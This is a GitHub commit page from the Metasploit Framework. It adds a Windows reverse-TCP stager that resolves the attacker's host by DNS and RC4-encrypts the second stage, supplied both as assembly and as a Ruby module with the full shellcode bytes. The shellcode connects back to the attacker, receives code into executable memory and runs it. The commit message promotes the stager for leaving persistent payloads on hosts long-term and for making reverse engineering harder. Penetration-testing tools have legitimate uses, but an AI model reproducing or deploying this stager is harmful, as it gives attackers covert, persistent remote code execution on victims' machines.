Skip to content

Commit 3778ae0

Browse files
author
RageLtMan
committed
This commit adds DNS resolution to rev_tcp_rc4
Due to the modular structure of payload stages its pretty trivial to add DNS resolution instead of hard-coded IP address in stage0. The only real complication here is that ReverseConnectRetries ends up being one byte further down than in the original shellcode. It appears that the original rev_tcp_dns payload suffers from the same issue. Hostname substitution is handled in the same method as the RC4 and XOR keys, with an offset provided and replace_vars ignoring the hostname. Tested in x86 native and WOW64 on XP and 2k8r2 respectively. This is a good option for those of us needing to leave persistent binaries/payloads on hosts for long periods. Even if the hostname resolves to a malicious party attempting to steal our hard earned session, they'd be hard pressed to crypt the payload with the appropriate RC4 pass. So long as we control the NS and records, the hardenned shellcode should provide a better night's sleep if running shells over the WAN. Changing the RC4 password string in the shellcode and build.py should reduce the chances of recovery by RE. Next step will likely be to start generating elipses for ECDH SSL in meterpreter sessions and passing them with stage2 through the RC4 socket. If P is 768-1024 the process is relatively quick, but we may want to precompute a few defaults as well to have 2048+.
1 parent 46a5c4f commit 3778ae0

File tree

2 files changed

+145
-0
lines changed

2 files changed

+145
-0
lines changed
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
;-----------------------------------------------------------------------------;
2+
; Authors: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
3+
; Michael Schierl (schierlm[at]gmx[dot]de) [RC4 support]
4+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
5+
; Version: 1.0 (31 December 2012)
6+
; Size: 405 bytes
7+
; Build: >build.py stager_reverse_tcp_rc4
8+
;-----------------------------------------------------------------------------;
9+
10+
[BITS 32]
11+
[ORG 0]
12+
13+
cld ; Clear the direction flag.
14+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
15+
%include "./src/block/block_api.asm"
16+
start: ;
17+
pop ebp ; pop off the address of 'api_call' for calling later.
18+
%include "./src/block/block_reverse_tcp_dns.asm"
19+
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
20+
%include "./src/block/block_recv_rc4.asm"
21+
; By now we will have recieved in the second stage into a RWX buffer and be executing it
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
9+
require 'msf/core'
10+
require 'msf/core/handler/reverse_tcp'
11+
12+
13+
module Metasploit3
14+
15+
include Msf::Payload::Stager
16+
include Msf::Payload::Windows
17+
18+
def self.handler_type_alias
19+
"reverse_tcp_rc4_dns"
20+
end
21+
22+
def initialize(info = {})
23+
super(merge_info(info,
24+
'Name' => 'Reverse TCP Stager (RC4 stage encryption DNS)',
25+
'Description' => 'Connect back to the attacker',
26+
'Author' => ['hdm', 'skape', 'sf', 'mihi', 'RageLtMan'],
27+
'License' => MSF_LICENSE,
28+
'Platform' => 'win',
29+
'Arch' => ARCH_X86,
30+
'Handler' => Msf::Handler::ReverseTcp,
31+
'Convention' => 'sockedi',
32+
'Stager' =>
33+
{
34+
'RequiresMidstager' => false,
35+
'Offsets' => { 'HostName' => [ 248, '' ], 'LPORT' => [ 212, 'n' ], 'ReverseConnectRetries' => [ 207, 'C'], 'XORKey' => [ 329, '' ], 'RC4Key' => [ 393, '' ] },
36+
'Payload' =>
37+
# Name: stager_reverse_tcp_rc4_dns
38+
# Length: 482 bytes
39+
# Port Offset: 212
40+
# HostName Offset: 248
41+
# RetryCounter Offset: 206 <-- this white lie causes stage0 to hang
42+
# ExitFunk Offset: 237
43+
# RC4Key Offset: 393
44+
# XORKey Offset: 329
45+
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
46+
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
47+
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
48+
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
49+
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
50+
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
51+
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
52+
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
53+
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
54+
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
55+
"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
56+
"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
57+
"\xD5\x97\xEB\x2F\x68\xA9\x28\x34\x80\xFF\xD5\x8B\x40\x1C\x6A\x05" +
58+
"\x50\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74" +
59+
"\x61\xFF\xD5\x85\xC0\x74\x51\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2" +
60+
"\x56\xFF\xD5\xE8\xCC\xFF\xFF\xFF\x58\x58\x58\x58\x58\x58\x58\x58" +
61+
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
62+
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
63+
"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58" +
64+
"\x58\x58\x58\x58\x58\x58\x58\x00\x6A\x00\x6A\x04\x56\x57\x68\x02" +
65+
"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A" +
66+
"\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" +
67+
"\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02" +
68+
"\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\x5B\x59\x5D" +
69+
"\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D" +
70+
"\x65\x74\x61\x73\x70\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75" +
71+
"\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2" +
72+
"\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75" +
73+
"\xE8\x31\xDB\x31\xD2\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F" +
74+
"\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5" +
75+
"\x5F\xC3"
76+
}
77+
))
78+
79+
register_options([
80+
OptString.new("RC4PASSWORD", [true, "Password to derive RC4 key from"]),
81+
# Overload LHOST as a String value for the hostname
82+
OptString.new("LHOST", [true, "The DNS hostname to connect back to"])
83+
], self.class)
84+
end
85+
86+
def generate_stage
87+
m = OpenSSL::Digest::Digest.new('sha1')
88+
m.reset
89+
key = m.digest(datastore["RC4PASSWORD"] || "")
90+
c1 = OpenSSL::Cipher::Cipher.new('RC4')
91+
c1.decrypt
92+
c1.key=key[4,16]
93+
p = c1.update(p)
94+
return [ p.length ^ key[0,4].unpack('V')[0] ].pack('V') + p
95+
end
96+
97+
def internal_generate
98+
p = super
99+
# Write keys into stage
100+
m = OpenSSL::Digest::Digest.new('sha1')
101+
m.reset
102+
key = m.digest(datastore["RC4PASSWORD"] || "")
103+
p[offsets['XORKey'][0], 4] = key[0,4]
104+
p[offsets['RC4Key'][0], 16] = key[4,16]
105+
# Replace 'X'*63 with hostname
106+
u = datastore['LHOST'].to_s + "\x00"
107+
raise ArgumentError, "LHOST can be 63 bytes long at the most" if u.length > 64
108+
p[offsets['HostName'][0], u.length] = u
109+
return p
110+
end
111+
112+
def replace_var(raw, name, offset, pack)
113+
our_vars = %w{XORKey RC4Key HostName}
114+
if our_vars.any? { |v| v == name }
115+
# Will be replaced by internal_generate
116+
return true
117+
end
118+
super
119+
end
120+
121+
def handle_intermediate_stage(conn, payload)
122+
return false
123+
end
124+
end

0 commit comments

Comments
 (0)